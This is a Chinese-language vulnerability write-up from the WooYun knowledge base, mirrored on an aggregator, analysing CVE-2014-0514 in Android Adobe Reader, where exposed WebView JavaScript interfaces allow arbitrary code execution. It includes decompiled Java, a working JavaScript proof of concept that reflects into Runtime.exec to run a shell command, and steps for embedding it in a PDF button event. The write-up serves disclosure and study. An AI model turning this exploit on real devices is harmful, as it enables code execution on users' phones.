5

Android Adobe Reader 任意代码执行分析(附POC) | WooYun知识库

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Android Adobe Reader 任意代码执行分析(附POC)

0x00 描述


前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞。

漏洞编号: CVE: 2014-0514

AdobeReader安装量比较大,又和浏览器容器不同,分析一下。

Android Adobe Reader 调用webview的不安全的Javascript interfaces。

导致可以执行任意js代码。具体查看WebView中接口隐患与手机挂马利用

影响版本:

理论上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

我查看了之前的几个版本例如Android Adobe Reader 11.1.2 如下图,问题也应该存在。

enter image description here

0x01利用


从反编译出来的java代码看

#!java
public class ARJavaScript
{
[...]

   public ARJavaScript(ARViewerActivity paramARViewerActivity)
   {
[...]
      this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
      this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
      this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
      this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
      this.mWebView.setWebViewClient(new ARJavaScript.1(this));
      this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
   }

_adobereader,_app,_doc,_escriptString,_event,_field这几个变量都会存在任意代码执行的问题.

利用代码和之前一样。

#!java
function execute(bridge, cmd) {
   return bridge.getClass().forName('java.lang.Runtime')
      .getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}

if(window._app) {
   try {
      var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
      execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
      window._app.alert(path + ' created', 3);
   } catch(e) {
      window._app.alert(e, 0);
   }
}

这里不同是构造 恶意的PDF。

首先需要一个PDF编辑器,比如Adobe Acrobat(flash达人pz推荐).

然后添加表单按钮或者书签等,调用事件添加

enter image description here

我这里看了下button最好演示,和老外的那个poc一样基本上.

导入到android虚拟机里,打开,成功复现。

enter image description here

0x02 扩展


一些网盘或浏览器,看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞,大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。

0x03 修复


新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :)

附上poc.pdf


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK